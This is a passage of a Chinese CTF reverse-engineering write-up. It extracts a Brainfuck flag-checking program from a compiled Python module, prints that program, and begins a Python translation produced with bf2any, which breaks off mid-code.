 wp也是要看brainfuck.main_check()函数。查了查，BrainFuck竟然是一种语言，赶紧补充一下。之后，直接进入bainfuck.cp38-win_amd64.pyd，查找字符串有brainfuck代码，用https://guodakui.oschina.io/mine/brainfuck.html 试了试就是main.exe的主体逻辑。

 brainfuck代码如下：

1
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[-]><>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]>[<+>-]<><[-]+><>[-]<<<[-]>>[>+<<<+>>-]>[<+>-]<><[-]>[-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-][-]>[-]++++++[<++++++>-]<++><<>>[-]>[-]<<[>[-]<<[>>+>+<<<-]>>[<<+>>-]+>[[-]<-<<->>>]<<-]<[-]>>[<<+>>-]<<[[-][-]>[-]<<<<[>>>+>+<<<<-]>>>>[<<<<+>>>>-]<[<+>[-]]]<[>[-]><,><>[-]<<[-]>[>+<<+>-]>[<+>-]<><[-]>[-]<<[>+>+<<-]>>[<<+>>-][-]++++++++++><<[->-<]+>[<->[-]]<[>>[-]><>[-]<<<<<<[-]>>>>>[>+<<<<<<+>>>>>-]>[<+>-]<><<<[-]][-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-][-]>[-]>[-]<<<<[>>>+>+<<<<-]>>>>[<<<<+>>>>-]<<<[>>>[-]<[>+<-]<+[>+<-]<-[>+<-]>]>>>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]>[<+>-]<[<<+>>-]<[<[<+>-]>-[<+>-]<]<<[-]>[-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-][-]>[-]++++++[<++++++>-]<++><<>>[-]>[-]<<[>[-]<<[>>+>+<<<-]>>[<<+>>-]+>[[-]<-<<->>>]<<-]<[-]>>[<<+>>-]<<[[-][-]>[-]<<<<[>>>+>+<<<<-]>>>>[<<<<+>>>>-]<[<+>[-]]]<][-]>[-]>[-]>[-]>[-]>[-]>[-]<[>>[-]+<[>+<-]<-[>+<-]>]>>[-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]<[<<+>>-]<[<[<+>-]>-[<+>-]<][-]>[-]++++++++++[<++++++++++>-]<++><<[->-<]+>[<->[-]]<[[-][-]+>[-]<[>>[-]+<[>+<-]<-[>+<-]>]>>[-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]<[<<+>>-]<[<[<+>-]>-[<+>-]<][-]>[-]+++++++++[<++++++++++++>-]<><<[->-<]+>[<->[-]]<[<+>[-]]]<[[-][-]++>[-]<[>>[-]+<[>+<-]<-[>+<-]>]>>[-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]<[<<+>>-]<[<[<+>-]>-[<+>-]<][-]>[-]++++++++[<++++++++++++>-]<+><<[->-<]+>[<->[-]]<[<+>[-]]]<[[-][-]+++>[-]<[>>[-]+<[>+<-]<-[>+<-]>]>>[-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]<[<<+>>-]<[<[<+>-]>-[<+>-]<][-]>[-]++++++++[<+++++++++++++>-]<-><<[->-<]+>[<->[-]]<[<+>[-]]]<[[-][-]++++>[-]<[>>[-]+<[>+<-]<-[>+<-]>]>>[-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]<[<<+>>-]<[<[<+>-]>-[<+>-]<][-]>[-]+++++++++++[<+++++++++++>-]<++><<[->-<]+>[<->[-]]<[<+>[-]]]<[[-][-]>[-]++++++[<++++++>-]<+>[-]<[>>[-]+<[>+<-]<-[>+<-]>]>>[-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]<[<<+>>-]<[<[<+>-]>-[<+>-]<][-]>[-]+++++++++[<++++++++++++++>-]<-><<[->-<]+>[<->[-]]<[<+>[-]]]<>[-]<<[-]>[>+<<+>-]>[<+>-]<><[-]>[-]+>[-]>[-]<<<<<[>>>>+>+<<<<<-]>>>>>[<<<<<+>>>>>-]<>[-]+<[>-<[-]]>[<+>-]<[<<+>->[-]]<[[-]>[-]<<<[>>+>+<<<-]>>>[<<<+>>>-]<>[-]+<[>-<[-]]>[<+>-]<[<+>[-]]][-]+<[>->[-]>[-]<>++++++++++[<+++++++++++>-]<.+.-.+.-.+.<<[-]]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[-]+><>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]>[<+>-]<><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[-]>[-]+++++++[<++++++++++++>-]<->[-]+++++++++++++++>[-]>[-]+++++++++[<++++++++++>-]<>[-]>[-]+++++++[<++++++++++++>-]<>[-]>[-]++++++++[<++++++++++>-]<>[-]>[-]+++++++[<++++++++++++>-]<+>[-]+++>[-]++>[-]>[-]+++++++>[-]>[-]+++++++[<++++++++++++>-]<++>[-]+++++++>[-]+++++++>[-]>[-]+++++++[<+++++++++++++>-]<>[-]+++++++++>[-]>[-]>[-]++++++++[<++++++++++>-]<>[-]+++++>[-]++>[-]+++>[-]>[-]+++++++[<+++++++++++++>-]<++>[-]>[-]+++++++[<+++++++++++++>-]<+>[-]>[-]++++++++[<++++++++++>-]<>[-]>[-]+++++++++[<+++++++++>-]<>[-]>[-]+++++++++[<+++++++++>-]<+>[-]>[-]+++++++[<++++++++++++>-]<>[-]>[-]+++++++++[<++++++++++>-]<>[-]>[-]++++++++[<++++++++++++>-]<->[-]++>[-]>[-]++++++++[<+++++++++++>-]<->[-]+++++++>[-]>[-]++++[<+++++++++++++>-]<>><[-]+++++><>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]>[<+>-]<><[-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-][-]>[-]++++++[<++++++>-]<><<>>[-]>[-]<<[>[-]<<[>>+>+<<<-]>>[<<+>>-]+>[[-]<-<<->>>]<<-]<[-]>>[<<+>>-]<<[[-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-][-]>[-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-][-]<[>>[-]+<[>+<-]<-[>+<-]>]>>[-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]<[<<+>>-]<[<[<+>-]>-[<+>-]<][-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-][-]+><<>[<+>-][-]<[>>[-]+<[>+<-]<-[>+<-]>]>>[-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]<[<<+>>-]<[<[<+>-]>-[<+>-]<]<<>>>>>>>[-]>>[-]<[-]--------[++++++++<<[-]<[-]<[-]<[-]<[-]++<<[->>-[>+>>+<<<-]>[<+>-]>>>>+<<-[<+<<++>>>>>--<<+]<<<<<]>>>>[<<<<+>>>>-]<<[-]++<[->-[>+>>+<<<-]>[<+>-]>>>+<-[>--<<+<<++>>>+]<<<<]>>>[<<<+>>>-]>>[>-<-]>[[-]<<+>>]>[<+<+>>-]<[>+<-]<[<[<+>-]<[>++<-]>>-]<[>>>>+<<<<-]>>>-------]>[<<<<<<<<<+>>>>>>>>>-]<<<<<<<<<<<[>>>[-]<[>+<-]<+[>+<-]<-[>+<-]>]>>>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]>[<+>-]<[<<+>>-]<[<[<+>-]>-[<+>-]<]<[-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]<[-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-][-]>[-]++++++[<++++++>-]<><<>>[-]>[-]<<[>[-]<<[>>+>+<<<-]>>[<<+>>-]+>[[-]<-<<->>>]<<-]<[-]>>[<<+>>-]<<][-]><>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]>[<+>-]<><[-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-][-]>[-]++++[<++++++++>-]<><<>>[-]>[-]<<[>[-]<<[>>+>+<<<-]>>[<<+>>-]+>[[-]<-<<->>>]<<-]<[-]>>[<<+>>-]<<[[-]+++++>[-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]<<>[<+>-][-]<[>>[-]+<[>+<-]<-[>+<-]>]>>[-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]<[<<+>>-]<[<[<+>-]>-[<+>-]<][-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-][-]<[>>[-]+<[>+<-]<-[>+<-]>]>>[-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]<[<<+>>-]<[<[<+>-]>-[<+>-]<]<<[->-<]>[<+>[-]]<[>>[-]><>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]>[<+>-]<><<<[-]][-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]<[-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-][-]>[-]++++[<++++++++>-]<><<>>[-]>[-]<<[>[-]<<[>>+>+<<<-]>>[<<+>>-]+>[[-]<-<<->>>]<<-]<[-]>>[<<+>>-]<<][-]>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-][-]+<[>->[-]>[-]<>++++++[<+++++++++++>-]<+.>++++[<+++++++++++>-]<.-.-------.+++++++++++.>++++[<---->-]<-.>+++[<++++++>-]<+.-.>+++++++++[<--------->-]<-.<<[-]]>[>[-]>[-]<>++++++++++[<+++++++++++>-]<.+.-.+.-.+.<-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

  使用bf2anyhttps://github.com/rdebath/Brainfuck/blob/master/bf2any，转成python代码，如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
#!/usr/bin/python
import sys

def brainfuck(argv):
    m = [0] * 1048832
    p = 256
    m[p+41] = 1
    m[p+45] = 38
    while m[p+45] :
        v = m[p+44]
        m[p+46] = v
        m[p+47] = m[p+47]+v
        v = m[p+46]
        m[p+44] = v
        m[p+46] = 1
        if m[p+47] :
            m[p+46] -= 1
            m[p+44] -= 1
            m[p+47] = 0
        m[p+45] -= 1
    v = m[p+46]
    m[p+44] = v
    m[p+46] = 0
    while m[p+44] :
        v = m[p+41]
        m[p+44] = v
        m[p+45] = v
        v = m[p+45]
        m[p+41] = v
        m[p+45] = 0
        if m[p+44] :
            m[p+43] += 1
            m[p+44] = 0
    while m[p+43] :
        m[p+44] = 0
        sys.stdout.flush()
        c = sys.stdin.read(1);
        if c != '' :
            m[p+44] = ord(c)
        v = m[p+44]
        m[p+45] = v
        m[p+43] = v
        v = m[p+45]
        m[p+44] = v
        v = m[p+43]
        m[p+44] = v
        m[p+45] = v
        v = m[p+45]
        m[p+43] = v
        v = m[p+44]
        m[p+45] = 10
        m[p+45] = m[p+45]-v
        m[p+44] = 1
        if m[p+45] :
            m[p+44] -= 1
            m[p+45] = 0
        while m[p+44] :
            m[p+46] = 0
            m[p+47] = 0
            m[p+41] = 0
            m[p+44] = 0
        v = m[p+1]
        m[p+44] = v
        m[p+45] = v
        m[p+45] += 1
        v = m[p+45]
        m[p+1] = v
        v = m[p+43]
        m[p+46] = v
        m[p+47] = v
        v = m[p+47]
        m[p+43] = v
        m[p+45] = 0
        m[p+47] = 0
        while m[p+44] :
            v = m[p+46]
            m[p+47] = v
            m[p+45] += 1
            v = m[p+45]
            m[p+46] = v
            m[p+44] -= 1
            v = m[p+44]
            m[p+45] = v
            m[p+44] = 0
            p += 1
        v = m[p+46]
        m[p+47] = v
        m[p+2] = v
        v = m[p+47]
        m[p+46] = v
        v = m[p+46]
        m[p+44] = v
        m[p+46] = 0
        m[p+47] = 0
        while m[p+45] :
